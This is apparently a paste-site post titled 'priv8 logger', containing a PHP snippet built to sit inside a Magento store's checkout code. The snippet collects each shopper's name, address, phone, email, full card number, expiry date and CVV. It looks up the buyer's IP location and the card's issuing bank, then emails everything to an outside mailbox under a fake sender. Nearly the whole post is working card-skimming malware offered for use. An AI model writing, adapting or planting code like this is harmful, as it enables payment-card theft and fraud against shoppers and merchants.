cyberking icon

priv8 logger cyberking

cyberking | PRO | 11/25/15 08:05:25 PM UTC | 0 ⭐ | 741 👁️ | Never ⏰ | []
text |

2.52 KB

|

None

|

0 👍

/

0 👎

		$object = new Mage_Checkout_Block_Onepage_Billing;
		$address1 = $object->getQuote()->getBillingAddress();
		$data1 = $address1->getFirstname();
		$data2 = $address1->getLastname();
		$data3 = $address1->getStreet(1);
		$data4 = $address1->getStreet(2);
		$data5 = $address1->getCity();
		$data6 = $address1->getRegion();
		$data7 = $address1->getPostcode();
		$data8 = $address1->getCountry();
		$data9 = $address1->getTelephone();
		$data10 = $info->getCcNumber();
		$expyear = substr($info->getCcExpYear(), -2);
		$expmonth = $info->getCcExpMonth();
				 if (strlen($expmonth) == 1) {
				   $expmonth = '0'.$expmonth;
				};
		$data11 = $expmonth;
		$data12 = $expyear;
		$data13 = $info->getCcCid();
		$data14 = '';
		$data15 = "yoursite.com";
		$data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
		$data17 = '';
		$post77 = "firstname=".$this->dsCrypt($data1)."&lastname=".$this->dsCrypt($data2)."&street1=".$this->dsCrypt($data3)."&street2=".$this->dsCrypt($data4)."&city=".$this->dsCrypt($data5)."&state=".$this->dsCrypt($data6)."&zip=".$this->dsCrypt($data7)."&country=".$this->dsCrypt($data8)."&phonenumber=".$this->dsCrypt($data9)."&ccnumber=".$this->dsCrypt($data10)."&expmonth=".$this->dsCrypt($data11)."&expyear=".$this->dsCrypt($data12)."&cvv=".$this->dsCrypt($data13)."&comment1=".$data14."&comment2=".$data15."&email=".$this->dsCrypt($data16)."&county=".$this->dsCrypt($data17);
		$ip_card_checkout		 = $_SERVER['REMOTE_ADDR'];
		$details_card_checkout 		= json_decode(file_get_contents("http://www.telize.com/geoip/".$ip_card_checkout.""));
		$negara_card_checkout      = $details_card_checkout->country_code;
		$nama_negara_card_checkout = $details_card_checkout->country;
		$kode_negara_card_checkout = strtolower($negara_card_checkout);
		$bin_card_checkout     = str_replace(' ', '', $data10);
		$bin_card_checkout     = substr($bin_card_checkout, 0, 6);
		$getbank_card_checkout = json_decode(file_get_contents("http://www.binlist.net/json/".$bin_card_checkout.""));
		$ccbrand_card_checkout = $getbank_card_checkout->brand;
		$ccbank_card_checkout  = $getbank_card_checkout->bank;
		$ccklas_card_checkout  = $getbank_card_checkout->card_category;
		$subject_card_checkout = $ccbrand_card_checkout." ".$cctype_card_checkout." ".$ccklas_card_checkout." (".$nama_negara_card_checkout.")";
		$process_card_holder     = '[email protected]';
		$headers = "From: Nobody's Care <[email protected]>";
		mail($process_card_holder, $subject_card_checkout, $post77, $headers);

Comments